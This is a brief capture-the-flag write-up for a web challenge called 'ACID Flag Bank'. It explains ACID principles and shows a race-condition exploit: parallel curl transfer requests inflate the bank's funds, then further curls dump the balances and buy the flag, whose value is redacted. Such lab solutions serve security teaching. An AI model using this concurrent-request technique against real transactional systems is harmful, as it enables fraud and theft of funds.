ACID Flag Bank (web)

Intro

You can purchase a flag directly from the ACID flag bank, however there aren’t enough funds in the entire bank to complete that transaction! Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds?

First blood!

Intelligence

1. What is ACID?
2. How to make multiple parallel requests?
3. Buy flag!

https://gist.github.com/CMCDragonkai/5914e02df62137e47f32

ACID

ACID stands for Atomicity, Consistency, Isolation and Durability, principles that application must adhere to avoid vulnerabilities.

Howto

kali@kali:~$ seq 20 | parallel -n0 -j20 "curl https://4f4978dd2809c112.247ctf.com/?to=2\&from=1\&amount=50"
kali@kali:~$ curl https://4f4978dd2809c112.247ctf.com/?dump
<pre>ID FUNDS
1  47
2  250
</pre>
kali@kali:~$ curl https://4f4978dd2809c112.247ctf.com/?flag\&from=2
247CTF{xxx}